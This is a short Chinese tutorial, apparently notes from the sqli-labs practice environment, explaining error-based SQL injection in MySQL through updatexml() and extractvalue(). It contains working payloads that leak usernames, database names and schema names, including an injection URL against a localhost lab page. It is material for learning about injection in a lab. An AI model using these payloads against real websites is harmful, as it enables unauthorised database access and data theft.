函数 updatexml(document,path,value);
作用 : 更改
名为 document 的 xml 文档中的符合 path 的条件的值为 value。
document:是string格式,为xml文档的名称。
path:xpath的格式
value:string格式,替换找到的符合条件的数据。
例如下面的代码,以及执行效果:
select updatexml(1,concat(0x7e,(select username from `security`.users limit 0,1),0x7e),1);
下面对语句进行逐层解析:
这里使用的0x7e代表的是十六进制的ascii码,可以查看表发现对应的符号为‘ ~ ’,0x5c代表的是反斜杠‘ \ ’ 使用这些都会造成语法错误,从而使数据库报出错,得到想要的信息。
函数:extractvalue(document,path)
作用:查找
document的xml文件中的符合path路径的内容。
下面进行实例:
mysql> select extractvalue(1,database()); //出现空白表,因为语法正确,但没有找到
+----------------------------+
| extractvalue(1,database()) |
+----------------------------+
| |
+----------------------------+
1 row in set (0.01 sec)
mysql> select extractvalue(1,concat(0x7e,database())); //现在让其语法错误,让其报错
ERROR 1105 (HY000): XPATH syntax error: '~security'
floor()
当你在使用concat函数将‘~’和你所要爆的内容构成一个字符串时,要注意:你要爆的信息前面要有“ ~ ” ,否则会出现下图状况:
sql-lab17 关 sql语句分析,读取数据库中库名:
http://127.0.0.1/sqli/Less-5/?id=-1' and updatexml(1,concat('~',(select schema_name from information_schema.schemata limit 3,1)),1)--+